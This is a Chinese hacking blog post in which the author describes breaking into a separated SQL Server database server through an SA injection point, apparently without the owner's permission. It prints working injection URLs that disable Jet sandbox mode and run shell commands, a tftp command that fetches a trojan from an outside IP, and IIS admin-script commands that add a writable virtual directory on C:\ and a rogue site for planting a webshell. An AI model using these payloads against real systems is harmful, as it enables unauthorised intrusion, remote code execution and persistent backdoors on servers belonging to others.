记一次巧妙的hacking

那天,正在看资料,朋友丢了个URL过来,说是SA注入点,但数据库和WEB分离的,搞了半天没搞定。
我一听,SA注入点,应该很容易的说,于是就很随意的说,OK,没问题,等会给结果~
手工大概的判断了下,的确是个SA注入点。判断过程偶就不写了,精彩的地方当然要留到后面啦
操起NBSI这把大刀就开工了。首先尝试恢复xp_cmdshell和sp_OACreate两扩展存储,恢复后用两扩展存储随意执行了一个命令,但是从回显结果来判断,
命令没有成功执行。于是又恢复xp_servicecontrol扩展存储,由于该扩展存储没有回显,偶就随意的ECHO了一个文件到一个指定目录
然后用列目录的功能把那目录列了一遍,但并未发现写入的文件。心想,应该是管理员把那几个常用的hacking扩展存储都给X了吧。
不知道xp_regwrite扩展存储被X了没。于是乎,手工开启了沙盒模式

asp?idx=32;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;–
然后尝试用沙盒模式往指定目录ECHO了个文件。

asp?idx=32 and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo xx >c:\xxx\xxx.txt")'))–
再用列目录的功能把该目录给列了一遍,发现ECHO命令执行成功!HOHO,还好管理员没把这个扩展存储给X了。
有了可执行命令的扩展存储,就有了一线希望。于是想到直接用tftp UP个马上去。。执行tftp -i ip get muma.exe c:\muma.exe发现一点反映也没有。
猜测可能被管理员限制或DEL了。于是写了一句话的下载VBS,执行后,老半天没发现我们的马儿,难道,难道他不对外访问?
于是,我又执行了IPCONGFIG命令,并ECHO到np.tmp临时文件。可是我们看不到ECHO的内容,怎么才能得到数据库服务器的IP呢?嘿嘿,想想,他NBSI为什么能回显呢?我们也可以那样做。

asp?idx=32;CREATE TABLE [NP_ICEHACK](ResultTxt nvarchar(1024) NULL)– //创建一个放回显内容的表

asp? idx=32 BULK INSERT [NP_ICEHACK] FROM 'np.tmp' WITH (KEEPNULLS);insert into [NP_ICEHACK] values ('g_over');Alter Table [NP_ICEHACK] add id int NOT NULL IDENTITY (1,1)– //以备份的形式把临时文件np.tmp的内容写入NP_ICEHACK表中

然后用NBSI直接把该表跑出来。没过一会,可爱的IP就浮现在我的面前。于是再操起nmap,一阵扫描。不过扫描结果有点意外。就开了个80。
难道数据库没分离?PING下域名其IP和得到的数据库IP是不一样的。不管三七二十一了,先访问再说。。马上打上IP访问。
发现一片空白,奇怪!于是再随意打上个目录,还是空白。傻眼了。这这。。。这端口根据nmap的判断是IIS 5.0啊,难道误报?
突想,试下不就知道了。怎么个试法呢?嘿嘿,我用沙盒模式执行了net stop w3svc命令(停止整个WEB服务)。再访问80一看。YES,访问不到了。连那让人郁闷的空白页面也消失了。看来有戏,于是我再执行net start w3svc命令(启动整个WEB服务).再访问80一看,No web site is configured at this address.
呀,还有绑定域名,那不是可以做个虚拟目录。于是执行如下命令,查询了几个站点配置(把1依次往上加就可以看别的站点的配置情况)

cmd /c Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs GET W3SVC/1/ServerBindings
查看第一个虚拟web站点的邦定端口。这里的W3SVC/1是IIS:\ LocalHostW3SVC/1的简写,而ServerBindings是他的属性
还是用NBSI列出来,列到3时,发现其绑定了一个域名,于是执行如下命令,添加虚拟目录

Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs CREATE w3svc/3/Root/np "IIsWebVirtualDir"
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/root/np/Path "C:\":
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessRead 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessWrite 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessScript 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/EnableDirBrowsing 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessSource 1
添加后高兴的去访问那域名www.xxx.com/np/结果发现还是www.xxx.com的内容,怀疑没加成功,于是随便访问了一个目录,发现还是www.xxx.com的内容
难道是把所有的都转发到www.xxx.com???于是本地搭平台测试ING。。发现果然如自己所料,被转发了。
绝。。居然这样。。经过一段时间的思考,脑筋一转,心想:你不让我访问这个站,行。。我应承你,我自己建个站去,看你转。哼~
于是立即执行如下命令

cmd /c cscript c:\Inetpub\AdminScripts\mkw3site.vbs -r "c:\" -t "test" -c "LocalHost" -o "80" -h "netpatch.xx.com"
把自己的域名绑定该数据库服务器IP。再访问netpatch.xx.com HOHO,终于可以了。
于是立即ECHO了一句话马上去,结束了这次hacing之旅.

BTW:其实,在此次的hacking中碰到很多问题,也查阅了许多相关资料,搭平台测试了N遍才测试OK的。并没有文章里那么顺利。
难度在于,对方只开了80且把仅有的WEB给转发了,而且又不对外访问。

____ by NetPatch www.icehack.com & [P.T.U]

如要转载,请保持文章完整。谢谢合作!

相关日志

发表评论